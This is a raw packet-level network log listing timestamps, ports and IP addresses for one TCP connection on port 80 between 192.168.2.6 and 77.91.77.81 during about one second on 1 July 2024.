Jul 1, 2024 07:21:01.915431023 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.915438890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915451050 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.915456057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915462971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915467024 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915472031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915476084 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.915476084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915481091 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915486097 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915489912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915494919 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915497065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915499926 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.915508032 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.915520906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.915544987 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916182041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916192055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916202068 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916210890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916219950 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916229963 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916230917 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916239977 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916243076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916253090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916260004 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916265011 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916276932 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916285992 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916286945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916297913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916307926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916317940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916318893 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916327000 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916330099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916342020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916351080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916353941 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916362047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916373014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916378021 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916399002 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916410923 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916759968 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916769028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916779041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916795015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916802883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916805029 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916814089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916825056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916826010 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916834116 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916845083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916851997 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916856050 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916868925 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916877985 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916878939 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916889906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916894913 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916901112 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916910887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916918993 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916922092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916934967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916943073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916945934 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916955948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.916956902 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916981936 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.916999102 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917246103 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917257071 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917265892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917277098 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917288065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917289019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917299986 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917310953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917310953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917320967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917325974 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917332888 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917341948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917352915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917355061 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917361975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917371988 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917390108 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917396069 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917407990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917412996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917419910 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917429924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917438984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917443037 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917449951 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917460918 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917467117 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917470932 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917479038 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917484045 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917495012 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917505026 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917505980 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917516947 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917526960 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917532921 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917537928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917547941 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.917551994 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917562008 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.917588949 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918123007 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918133020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918148041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918149948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918158054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918168068 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918170929 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918179035 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918184996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918189049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918200016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918205023 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918217897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918230057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918237925 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918240070 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918246984 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918255091 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918258905 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918267012 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918270111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918276072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918277025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918277979 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918281078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918286085 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918291092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918303013 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918312073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918312073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918324947 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918333054 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918334961 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918346882 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918346882 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918360949 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918371916 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918395996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918905973 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918915987 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918926001 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918936014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918947935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918952942 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918961048 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918967009 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918972969 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918983936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.918986082 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.918996096 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919006109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919011116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919019938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919029951 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919032097 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919043064 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919044971 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919070005 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919090986 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919286966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919298887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919307947 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919331074 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919348955 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919348955 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919363022 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919373989 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919384956 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919389963 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919395924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919408083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919409990 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919419050 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919430971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919435978 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919441938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919446945 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919464111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919470072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919470072 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919471025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919471979 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919483900 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919496059 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919495106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919512033 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919526100 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919826984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919838905 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919848919 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919864893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919873953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919878006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919884920 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919893026 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919903994 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919917107 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919917107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.919939995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.919953108 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941313982 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941330910 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941340923 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941389084 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941405058 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941417933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941428900 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941438913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941448927 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941458941 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941483974 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941529036 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941539049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941550016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941562891 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941576958 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941593885 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941612005 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941663027 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941673040 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941684008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.941714048 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.941730022 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.970752954 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970773935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970783949 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970843077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970853090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970864058 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970895052 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.970980883 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.971025944 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000366926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000391960 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000402927 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000415087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000427008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000438929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000458956 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000463963 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000471115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000489950 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000520945 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000535011 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000541925 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000549078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000588894 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000606060 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000618935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000631094 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000641108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000650883 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000674009 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000752926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000763893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000775099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000786066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000797033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000799894 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000818014 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000840902 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000868082 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000880003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000893116 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.000905991 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000917912 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.000938892 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001725912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001737118 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001748085 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001777887 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001786947 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001797915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001802921 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001808882 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001826048 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001844883 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001880884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001893997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001904964 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001935005 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001943111 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.001972914 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001983881 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.001995087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002007961 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002022028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002042055 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002068996 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002080917 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002090931 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002101898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002118111 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002139091 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002320051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002331972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002343893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002366066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002377987 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002374887 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002393961 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002424002 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002433062 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002444983 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002454042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002476931 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002485037 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002494097 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002521038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002521992 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002535105 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002577066 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002578020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002635002 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002645969 CEST	80	49726	77.91.77.81	192.168.2.6
